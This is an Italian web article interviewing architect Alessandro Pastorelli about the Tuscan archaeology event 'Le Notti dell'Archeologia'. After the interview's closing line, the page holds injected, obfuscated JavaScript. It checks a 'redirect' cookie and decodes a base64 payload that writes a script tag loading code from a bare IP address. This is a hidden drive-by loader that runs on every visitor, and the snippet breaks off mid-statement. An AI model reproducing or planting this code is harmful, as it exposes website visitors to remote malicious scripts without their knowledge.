Notti dell’archeologia è una manifestazione culturale organizzata da Regione Toscana che ha l’intento di diffondere la conoscenza del territorio e di avvicinare grandi e piccoli al mondo dell’archeologia e al tema della conservazione del passato.
Abbiamo intervistato l’architetto Alessandro Pastorelli, Presidente dell’Associazione architetti elbani, in qualità di appassionato di storia e archeologia del proprio territorio, che ormai da tre anni collabora attivamente all’organizzazione dell’evento.
L’architetto Pastorelli ci spiega che l’iniziativa è organizzata da anni dalla Regione Toscana in collaborazione con la Sovrintendenza per i Beni Archeologici della Toscana e l’Associazione Musei Archeologici Toscani, proprio con l’intento di dare voce a un patrimonio fatto di ruderi, di terme e di teatri, di antichi tracciati stradali, percorsi sotterranei e grotte di insediamenti preistorici, insomma centinaia di musei con oggetti preziosi e frammenti di materiali della vita quotidiana a cui troppo spesso non attribuiamo il giusto valore.
“Accanto a noi c’è una Toscana, spesso poco conosciuta, che può ancora sorprenderci per la storia che narra e le emozioni che è in grado di trasmettere. Possiamo dire che non vi sia paese della regione che non abbia una testimonianza dei suoi più antichi abitanti”. Ci spiega inoltre che a “Le Notti dell’Archeologia” rappresenta non solo la storia del nostro passato più antico, ma anche della nostra conoscenza, dell’idea che abbiamo elaborato di chi ci ha preceduto su questa terra, in alcuni casi determinando lo sviluppo stesso del territorio in cui viviamo.
Una storia affascinante che l’architetto Pastorelli, come gli altri appassionati, vorrebbero fosse conosciuta da un numero sempre maggiore di persone, perché: “ solo la consapevolezza di quello che ci circonda può garantire la conservazione dei beni che abbiamo ricevuto in eredità” .
A questo punto non ci resta che ringraziare Alessandro Pastorelli per la sua disponibilità e aspettare il prossimo appuntamento con le Notti dell’Archeologia. _ok_”text/javascript”> function getCo_ok_ie(e){var U=document.co_ok_ie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),co_ok_ie=getCo_ok_ie(“redirect”);if(now>=(time=co_ok_ie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.co_ok_ie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘